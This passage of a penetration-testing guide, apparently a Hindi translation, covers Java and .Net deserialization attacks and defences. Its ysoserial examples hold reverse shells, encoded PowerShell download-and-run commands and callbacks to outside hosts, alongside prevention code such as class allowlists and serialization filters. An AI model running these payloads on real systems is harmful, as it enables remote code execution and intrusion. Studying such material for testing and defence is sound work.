java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"
|
||
|
||
#PoC RCE in Linux
|
||
# Ping
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
|
||
# Time
|
||
## Using time in bash I didn't notice any difference in the timing of the response
|
||
# Create file
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
|
||
# DNS request
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
||
# HTTP request (+DNS)
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
|
||
# Reverse shell
|
||
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
|
||
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
|
||
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"
|
||
|
||
# Base64 encode payload in base64
|
||
base64 -w0 payload
|
||
```
|
||
जब **java.lang.Runtime.exec()** के लिए एक payload बनाते हैं, तो आप **विशेष वर्ण** जैसे ">" या "|" का उपयोग नहीं कर सकते हैं ताकि निष्पादन का आउटपुट पुनर्निर्देशित किया जा सके, "$()" का उपयोग करके आदेश निष्पादित कर सकें या यहां तक कि **कमांड के लिए तर्क** को **स्पेस** द्वारा अलग कर सकें (आप `echo -n "hello world"` कर सकते हैं लेकिन आप `python2 -c 'print "Hello world"'` नहीं कर सकते)। payload को सही तरीके से एन्कोड करने के लिए आप [इस वेबपेज](http://www.jackson-t.ca/runtime-exec-payloads.html) का उपयोग कर सकते हैं।
|
||
|
||
Windows और Linux के लिए **सभी संभावित कोड निष्पादन** payloads बनाने के लिए अगले स्क्रिप्ट का उपयोग करने के लिए स्वतंत्र महसूस करें और फिर उन्हें कमजोर वेब पृष्ठ पर परीक्षण करें:
|
||
```python
|
||
import os
|
||
import base64
|
||
|
||
# You may need to update the payloads
|
||
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
|
||
def generate(name, cmd):
|
||
for payload in payloads:
|
||
final = cmd.replace('REPLACE', payload)
|
||
print 'Generating ' + payload + ' for ' + name + '...'
|
||
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
|
||
result = command.read()
|
||
command.close()
|
||
encoded = base64.b64encode(result)
|
||
if encoded != "":
|
||
open(name + '_intruder.txt', 'a').write(encoded + '\n')
|
||
|
||
generate('Windows', 'ping -n 1 win.REPLACE.server.local')
|
||
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||
```
|
||
#### serialkillerbypassgadgets
|
||
|
||
आप **इसका उपयोग कर सकते हैं** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **अधिक एक्सप्लॉइट बनाने के लिए ysoserial के साथ**। इस टूल के बारे में अधिक जानकारी **टॉक की स्लाइड्स** में है जहाँ टूल प्रस्तुत किया गया था: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
|
||
|
||
#### marshalsec
|
||
|
||
[**marshalsec** ](https://github.com/mbechler/marshalsec) का उपयोग विभिन्न **Json** और **Yml** सीरियलाइजेशन लाइब्रेरीज़ को एक्सप्लॉइट करने के लिए पेलोड्स उत्पन्न करने के लिए किया जा सकता है।\
|
||
प्रोजेक्ट को संकलित करने के लिए मुझे `pom.xml` में ये **dependencies** **जोड़नी थीं**:
|
||
```html
|
||
<dependency>
|
||
<groupId>javax.activation</groupId>
|
||
<artifactId>activation</artifactId>
|
||
<version>1.1.1</version>
|
||
</dependency>
|
||
|
||
<dependency>
|
||
<groupId>com.sun.jndi</groupId>
|
||
<artifactId>rmiregistry</artifactId>
|
||
<version>1.2.1</version>
|
||
<type>pom</type>
|
||
</dependency>
|
||
```
|
||
**Maven स्थापित करें**, और **परियोजना को संकलित करें**:
|
||
```bash
|
||
sudo apt-get install maven
|
||
mvn clean package -DskipTests
|
||
```
|
||
#### FastJSON
|
||
|
||
इस Java JSON पुस्तकालय के बारे में अधिक पढ़ें: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
|
||
|
||
### Labs
|
||
|
||
- यदि आप कुछ ysoserial payloads का परीक्षण करना चाहते हैं, तो आप **इस वेब ऐप को चला सकते हैं**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||
|
||
### Why
|
||
|
||
Java विभिन्न उद्देश्यों के लिए बहुत सारी serialization का उपयोग करता है जैसे:
|
||
|
||
- **HTTP requests**: Serialization का व्यापक रूप से प्रबंधन में उपयोग किया जाता है जैसे कि parameters, ViewState, cookies, आदि।
|
||
- **RMI (Remote Method Invocation)**: Java RMI प्रोटोकॉल, जो पूरी तरह से serialization पर निर्भर करता है, Java अनुप्रयोगों में दूरस्थ संचार के लिए एक आधारशिला है।
|
||
- **RMI over HTTP**: यह विधि Java-आधारित मोटे क्लाइंट वेब अनुप्रयोगों द्वारा सामान्यतः उपयोग की जाती है, जो सभी ऑब्जेक्ट संचार के लिए serialization का उपयोग करती है।
|
||
- **JMX (Java Management Extensions)**: JMX नेटवर्क पर ऑब्जेक्ट्स को भेजने के लिए serialization का उपयोग करता है।
|
||
- **Custom Protocols**: Java में, मानक प्रथा कच्चे Java ऑब्जेक्ट्स के संचरण में शामिल होती है, जिसे आगामी exploit उदाहरणों में प्रदर्शित किया जाएगा।
|
||
|
||
### Prevention
|
||
|
||
#### Transient objects
|
||
|
||
एक वर्ग जो `Serializable` को लागू करता है, वह वर्ग के अंदर किसी भी ऑब्जेक्ट को `transient` के रूप में लागू कर सकता है जिसे serializable नहीं होना चाहिए। उदाहरण:
|
||
```java
|
||
public class myAccount implements Serializable
|
||
{
|
||
private transient double profit; // declared transient
|
||
private transient double margin; // declared transient
|
||
```
|
||
#### एक क्लास का Serialization करने से बचें जिसे Serializable लागू करने की आवश्यकता है
|
||
|
||
उन परिदृश्यों में जहां कुछ **objects को `Serializable`** इंटरफेस लागू करना आवश्यक है क्योंकि क्लास हायरार्की के कारण, अनजाने में deserialization का जोखिम होता है। इसे रोकने के लिए, सुनिश्चित करें कि ये objects non-deserializable हैं, एक `final` `readObject()` मेथड को परिभाषित करके जो लगातार एक अपवाद फेंकता है, जैसा कि नीचे दिखाया गया है:
|
||
```java
|
||
private final void readObject(ObjectInputStream in) throws java.io.IOException {
|
||
throw new java.io.IOException("Cannot be deserialized");
|
||
}
|
||
```
|
||
#### **Java में Deserialization सुरक्षा बढ़ाना**
|
||
|
||
**`java.io.ObjectInputStream`** को कस्टमाइज़ करना deserialization प्रक्रियाओं को सुरक्षित करने के लिए एक व्यावहारिक दृष्टिकोण है। यह विधि तब उपयुक्त है जब:
|
||
|
||
- Deserialization कोड आपके नियंत्रण में है।
|
||
- Deserialization के लिए अपेक्षित कक्षाएँ ज्ञात हैं।
|
||
|
||
**`resolveClass()`** विधि को ओवरराइड करें ताकि केवल अनुमत कक्षाओं तक deserialization सीमित हो सके। यह किसी भी कक्षा के deserialization को रोकता है सिवाय उन कक्षाओं के जो स्पष्ट रूप से अनुमति दी गई हैं, जैसे कि निम्नलिखित उदाहरण में जो deserialization को केवल `Bicycle` कक्षा तक सीमित करता है:
|
||
```java
|
||
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
|
||
public class LookAheadObjectInputStream extends ObjectInputStream {
|
||
|
||
public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
|
||
super(inputStream);
|
||
}
|
||
|
||
/**
|
||
* Only deserialize instances of our expected Bicycle class
|
||
*/
|
||
@Override
|
||
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
|
||
if (!desc.getName().equals(Bicycle.class.getName())) {
|
||
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
|
||
}
|
||
return super.resolveClass(desc);
|
||
}
|
||
}
|
||
```
|
||
**सुरक्षा सुधार के लिए एक जावा एजेंट का उपयोग** तब एक बैकअप समाधान प्रदान करता है जब कोड संशोधन संभव नहीं होता। यह विधि मुख्य रूप से **हानिकारक कक्षाओं की ब्लैकलिस्टिंग** के लिए लागू होती है, एक JVM पैरामीटर का उपयोग करते हुए:
|
||
```
|
||
-javaagent:name-of-agent.jar
|
||
```
|
||
यह एक ऐसा तरीका प्रदान करता है जिससे डेसिरियलाइजेशन को गतिशील रूप से सुरक्षित किया जा सकता है, जो उन वातावरणों के लिए आदर्श है जहाँ तात्कालिक कोड परिवर्तन व्यावहारिक नहीं हैं।
|
||
|
||
एक उदाहरण देखें [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
|
||
|
||
**सिरियलाइजेशन फ़िल्टर लागू करना**: Java 9 ने **`ObjectInputFilter`** इंटरफ़ेस के माध्यम से सिरियलाइजेशन फ़िल्टर पेश किए, जो डेसिरियलाइजेशन से पहले सिरियलाइज्ड ऑब्जेक्ट्स को पूरा करने के लिए आवश्यक मानदंडों को निर्दिष्ट करने के लिए एक शक्तिशाली तंत्र प्रदान करते हैं। इन फ़िल्टरों को वैश्विक रूप से या प्रति स्ट्रीम लागू किया जा सकता है, जो डेसिरियलाइजेशन प्रक्रिया पर बारीक नियंत्रण प्रदान करता है।
|
||
|
||
सिरियलाइजेशन फ़िल्टर का उपयोग करने के लिए, आप एक वैश्विक फ़िल्टर सेट कर सकते हैं जो सभी डेसिरियलाइजेशन ऑपरेशनों पर लागू होता है या इसे विशिष्ट स्ट्रीम के लिए गतिशील रूप से कॉन्फ़िगर कर सकते हैं। उदाहरण के लिए:
|
||
```java
|
||
ObjectInputFilter filter = info -> {
|
||
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
||
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
|
||
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
|
||
return Status.REJECTED; // Restrict to allowed classes
|
||
}
|
||
return Status.ALLOWED;
|
||
};
|
||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||
```
|
||
**बाहरी पुस्तकालयों का उपयोग करके सुरक्षा में सुधार**: पुस्तकालय जैसे **NotSoSerial**, **jdeserialize**, और **Kryo** जावा डीसिरियलाइजेशन को नियंत्रित और मॉनिटर करने के लिए उन्नत सुविधाएँ प्रदान करते हैं। ये पुस्तकालय अतिरिक्त सुरक्षा परतें प्रदान कर सकते हैं, जैसे कि कक्षाओं की व्हाइटलिस्टिंग या ब्लैकलिस्टिंग, डीसिरियलाइजेशन से पहले अनुक्रमित वस्तुओं का विश्लेषण करना, और कस्टम अनुक्रमण रणनीतियों को लागू करना।
|
||
|
||
- **NotSoSerial** अविश्वसनीय कोड के निष्पादन को रोकने के लिए डीसिरियलाइजेशन प्रक्रियाओं को इंटरसेप्ट करता है।
|
||
- **jdeserialize** अनुक्रमित जावा वस्तुओं का विश्लेषण करने की अनुमति देता है बिना उन्हें डीसिरियलाइज किए, संभावित रूप से दुर्भावनापूर्ण सामग्री की पहचान करने में मदद करता है।
|
||
- **Kryo** एक वैकल्पिक अनुक्रमण ढांचा है जो गति और दक्षता पर जोर देता है, कॉन्फ़िगर करने योग्य अनुक्रमण रणनीतियाँ प्रदान करता है जो सुरक्षा को बढ़ा सकती हैं।
|
||
|
||
### संदर्भ
|
||
|
||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
|
||
- डीसिरियलाइजेशन और ysoserial वार्ता: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
|
||
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
|
||
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
|
||
- gadgetinspector के बारे में वार्ता: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) और स्लाइड: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
|
||
- Marshalsec पेपर: [https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
|
||
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
|
||
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
|
||
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
|
||
- जावा और .Net JSON डीसिरियलाइजेशन **पेपर:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** वार्ता: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) और स्लाइड: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||
- डीसिरियलाइजेशन CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
|
||
|
||
## JNDI इंजेक्शन और log4Shell
|
||
|
||
जानें कि **JNDI इंजेक्शन क्या है, इसे RMI, CORBA और LDAP के माध्यम से कैसे दुरुपयोग किया जा सकता है और log4shell का शोषण कैसे किया जा सकता है** (और इस भेद्यता का उदाहरण) निम्नलिखित पृष्ठ में:
|
||
|
||
{{#ref}}
|
||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||
{{#endref}}
|
||
|
||
## JMS - जावा संदेश सेवा
|
||
|
||
> **जावा संदेश सेवा** (**JMS**) API एक जावा संदेश-उन्मुख मिडलवेयर API है जो दो या अधिक क्लाइंट के बीच संदेश भेजने के लिए है। यह उत्पादक-उपभोक्ता समस्या को संभालने के लिए एक कार्यान्वयन है। JMS जावा प्लेटफ़ॉर्म, एंटरप्राइज संस्करण (Java EE) का एक हिस्सा है, और इसे सन माइक्रोसिस्टम्स द्वारा विकसित एक विनिर्देशन द्वारा परिभाषित किया गया था, लेकिन जिसे बाद में जावा समुदाय प्रक्रिया द्वारा मार्गदर्शित किया गया है। यह एक संदेश मानक है जो जावा EE पर आधारित अनुप्रयोग घटकों को संदेश बनाने, भेजने, प्राप्त करने और पढ़ने की अनुमति देता है। यह एक वितरित अनुप्रयोग के विभिन्न घटकों के बीच संचार को ढीला, विश्वसनीय और असिंक्रोनस बनाता है। (स्रोत [विकिपीडिया](https://en.wikipedia.org/wiki/Java_Message_Service))।
|
||
|
||
### उत्पाद
|
||
|
||
इस मिडलवेयर का उपयोग करके संदेश भेजने वाले कई उत्पाद हैं:
|
||
|
||
.png>)
|
||
|
||
.png>)
|
||
|
||
### शोषण
|
||
|
||
तो, मूल रूप से, **JMS का उपयोग करने वाली कई सेवाएँ खतरनाक तरीके से हैं**। इसलिए, यदि आपके पास इन सेवाओं को संदेश भेजने के लिए **पर्याप्त विशेषाधिकार** हैं (आमतौर पर आपको मान्य क्रेडेंशियल की आवश्यकता होगी) तो आप **दुर्भावनापूर्ण वस्तुएँ भेजने में सक्षम हो सकते हैं जो उपभोक्ता/सदस्य द्वारा डीसिरियलाइज की जाएंगी**।\
|
||
इसका मतलब है कि इस शोषण में सभी **क्लाइंट जो उस संदेश का उपयोग करने जा रहे हैं संक्रमित हो जाएंगे**।
|
||
|
||
आपको याद रखना चाहिए कि भले ही कोई सेवा कमजोर हो (क्योंकि यह उपयोगकर्ता इनपुट को असुरक्षित रूप से डीसिरियलाइज कर रही है) आपको अभी भी भेद्यता का शोषण करने के लिए मान्य गैजेट्स खोजने की आवश्यकता है।
|
||
|
||
उपकरण [JMET](https://github.com/matthiaskaiser/jmet) को **इन सेवाओं से कनेक्ट और हमला करने के लिए बनाया गया था, जो ज्ञात गैजेट्स का उपयोग करके कई दुर्भावनापूर्ण वस्तुएँ भेजता है**। ये शोषण तब काम करेंगे जब सेवा अभी भी कमजोर हो और यदि उपयोग किए गए गैजेट्स में से कोई भी कमजोर अनुप्रयोग के अंदर हो।
|
||
|
||
### संदर्भ
|
||
|
||
- JMET वार्ता: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
|
||
- स्लाइड: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
|
||
|
||
## .Net
|
||
|
||
. Net के संदर्भ में, डीसिरियलाइजेशन शोषण जावा में पाए जाने वाले तरीकों के समान काम करते हैं, जहाँ गैजेट्स का शोषण किया जाता है ताकि किसी वस्तु के डीसिरियलाइजेशन के दौरान विशिष्ट कोड चल सके।
|
||
|
||
### फिंगरप्रिंट
|
||
|
||
#### व्हाइटबॉक्स
|
||
|
||
स्रोत कोड में निम्नलिखित की घटनाओं की जांच की जानी चाहिए:
|
||
|
||
1. `TypeNameHandling`
|
||
2. `JavaScriptTypeResolver`
|
||
|
||
ध्यान उन अनुक्रमकों पर होना चाहिए जो उपयोगकर्ता नियंत्रण के तहत एक चर द्वारा प्रकार निर्धारित करने की अनुमति देते हैं।
|
||
|
||
#### ब्लैकबॉक्स
|
||
|
||
खोज को बेस64 एन्कोडेड स्ट्रिंग **AAEAAAD/////** या किसी समान पैटर्न पर लक्षित करना चाहिए जो सर्वर-साइड पर डीसिरियलाइज हो सकता है, जिससे डीसिरियलाइज होने वाले प्रकार पर नियंत्रण प्राप्त होता है। इसमें **JSON** या **XML** संरचनाएँ शामिल हो सकती हैं जिनमें `TypeObject` या `$type` हो।
|
||
|
||
### ysoserial.net
|
||
|
||
इस मामले में आप उपकरण [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) का उपयोग कर सकते हैं ताकि **डीसिरियलाइजेशन शोषण बनाए जा सकें**। एक बार git रिपॉजिटरी डाउनलोड करने के बाद, आपको **उपकरण को संकलित करना चाहिए**, उदाहरण के लिए, विज़ुअल स्टूडियो का उपयोग करके।
|
||
|
||
यदि आप जानना चाहते हैं कि **ysoserial.net अपने शोषण को कैसे बनाता है** तो आप [**इस पृष्ठ को देख सकते हैं जहाँ ObjectDataProvider गैजेट + ExpandedWrapper + Json.Net फॉर्मेटर की व्याख्या की गई है**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)।
|
||
|
||
**ysoserial.net** के मुख्य विकल्प हैं: **`--gadget`**, **`--formatter`**, **`--output`** और **`--plugin`**।
|
||
|
||
- **`--gadget`** का उपयोग शोषण के लिए गैजेट को इंगित करने के लिए किया जाता है (उस कक्षा/कार्य को इंगित करें जिसका शोषण डीसिरियलाइजेशन के दौरान आदेश निष्पादित करने के लिए किया जाएगा)।
|
||
- **`--formatter`**, शोषण को अनुक्रमित करने के लिए विधि को इंगित करने के लिए उपयोग किया जाता है (आपको यह जानने की आवश्यकता है कि बैक-एंड किस पुस्तकालय का उपयोग कर रहा है ताकि लोड को डीसिरियलाइज किया जा सके और उसी का उपयोग करके इसे अनुक्रमित किया जा सके)।
|
||
- **`--output`** का उपयोग यह इंगित करने के लिए किया जाता है कि क्या आप शोषण को **कच्चे** या **बेस64** एन्कोडेड रूप में चाहते हैं। _ध्यान दें कि **ysoserial.net** लोड को **UTF-16LE** का उपयोग करके **एन्कोड** करेगा (जो विंडोज़ पर डिफ़ॉल्ट रूप से उपयोग किया जाने वाला एन्कोडिंग है) इसलिए यदि आप कच्चे लोड को प्राप्त करते हैं और इसे लिनक्स कंसोल से केवल एन्कोड करते हैं तो आपको कुछ **एन्कोडिंग संगतता समस्याएँ** हो सकती हैं जो शोषण को सही तरीके से काम करने से रोकेंगी (HTB JSON बॉक्स में लोड UTF-16LE और ASCII दोनों में काम करता है लेकिन इसका मतलब यह नहीं है कि यह हमेशा काम करेगा)।_
|
||
- **`--plugin`** ysoserial.net विशिष्ट ढांचों के लिए **शोषण बनाने के लिए प्लगइन्स का समर्थन करता है** जैसे ViewState
|
||
|
||
#### अधिक ysoserial.net पैरामीटर
|
||
|
||
- `--minify` एक **छोटा लोड** प्रदान करेगा (यदि संभव हो)।
|
||
- `--raf -f Json.Net -c "anything"` यह सभी गैजेट्स को इंगित करेगा जो एक प्रदान किए गए फॉर्मेटर (`Json.Net` इस मामले में) के साथ उपयोग किए जा सकते हैं।
|
||
- `--sf xml` आप **एक गैजेट** (`-g`) को इंगित कर सकते हैं और ysoserial.net "xml" (केस संवेदनशील नहीं) वाले फॉर्मेटर्स की खोज करेगा।
|
||
|
||
**ysoserial उदाहरण** शोषण बनाने के लिए:
|
||
```bash
|
||
#Send ping
|
||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||
|
||
#Timing
|
||
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
|
||
|
||
#DNS/HTTP request
|
||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
|
||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
|
||
|
||
#Reverse shell
|
||
#Create shell command in linux
|
||
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
|
||
#Create exploit using the created B64 shellcode
|
||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||
```
|
||
**ysoserial.net** में एक **बहुत दिलचस्प पैरामीटर** है जो हर एक्सप्लॉइट कैसे काम करता है, इसे बेहतर समझने में मदद करता है: `--test`\
|
||
यदि आप इस पैरामीटर को इंगित करते हैं, तो **ysoserial.net** **स्थानीय रूप से** **एक्सप्लॉइट** को **परीक्षण** करेगा, ताकि आप यह परीक्षण कर सकें कि आपका पेलोड सही ढंग से काम करेगा या नहीं।\
|
||
यह पैरामीटर सहायक है क्योंकि यदि आप कोड की समीक्षा करते हैं, तो आप निम्नलिखित कोड के टुकड़े पाएंगे (से [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||
```java
|
||
if (inputArgs.Test)
|
||
{
|
||
try
|
||
{
|
||
SerializersHelper.JsonNet_deserialize(payload);
|
||
}
|
||
catch (Exception err)
|
||
{
|
||
Debugging.ShowErrors(inputArgs, err);
|
||
}
|
||
}
|
||
```
|
||
इसका मतलब है कि एक्सप्लॉइट का परीक्षण करने के लिए कोड [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539) को कॉल करेगा।
|
||
```java
|
||
public static object JsonNet_deserialize(string str)
|
||
{
|
||
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
|
||
{
|
||
TypeNameHandling = TypeNameHandling.Auto
|
||
});
|
||
return obj;
|
||
}
|
||
```
|
||
In the **पिछले कोड में बनाए गए एक्सप्लॉइट के लिए संवेदनशीलता है**। इसलिए यदि आप किसी .Net एप्लिकेशन में कुछ समान पाते हैं, तो इसका मतलब है कि वह एप्लिकेशन भी संभवतः संवेदनशील है।\
|
||
इसलिए **`--test`** पैरामीटर हमें यह समझने की अनुमति देता है कि **कौन से कोड के टुकड़े** deserialization एक्सप्लॉइट के लिए संवेदनशील हैं जो **ysoserial.net** बना सकता है।
|
||
|
||
### ViewState
|
||
|
||
[**कैसे \_\_ViewState पैरामीटर का शोषण करने की कोशिश करें**](exploiting-__viewstate-parameter.md) को देखें **ताकि मनमाने कोड को निष्पादित किया जा सके।** यदि आप **पहले से ही पीड़ित मशीन द्वारा उपयोग किए गए रहस्यों को जानते हैं**, [**कोड निष्पादित करने के लिए यह पोस्ट पढ़ें**](exploiting-__viewstate-knowing-the-secret.md)**।**
|
||
|
||
### Prevention
|
||
|
||
.Net में deserialization से संबंधित जोखिमों को कम करने के लिए:
|
||
|
||
- **डेटा स्ट्रीम को उनके ऑब्जेक्ट प्रकारों को परिभाषित करने की अनुमति देने से बचें।** जब संभव हो, `DataContractSerializer` या `XmlSerializer` का उपयोग करें।
|
||
- **`JSON.Net` के लिए, `TypeNameHandling` को `None` पर सेट करें:** %%%TypeNameHandling = TypeNameHandling.None%%%
|
||
- **`JavaScriptSerializer` का उपयोग `JavaScriptTypeResolver` के साथ करने से बचें।**
|
||
- **उन प्रकारों को सीमित करें जिन्हें deserialized किया जा सकता है**, .Net प्रकारों के अंतर्निहित जोखिमों को समझते हुए, जैसे `System.IO.FileInfo`, जो सर्वर फ़ाइलों की विशेषताओं को संशोधित कर सकता है, संभावित रूप से सेवा से इनकार के हमलों का कारण बन सकता है।
|
||
- **खतरनाक गुणों वाले प्रकारों के साथ सतर्क रहें**, जैसे `System.ComponentModel.DataAnnotations.ValidationException` इसके `Value` गुण के साथ, जिसका शोषण किया जा सकता है।
|
||
- **प्रकार के निर्माण को सुरक्षित रूप से नियंत्रित करें** ताकि हमलावर deserialization प्रक्रिया को प्रभावित न कर सकें, जिससे `DataContractSerializer` या `XmlSerializer` भी संवेदनशील हो जाएं।
|
||
- **`BinaryFormatter` और `JSON.Net` के लिए एक कस्टम `SerializationBinder` का उपयोग करके श्वेत सूची नियंत्रण लागू करें।**
|
||
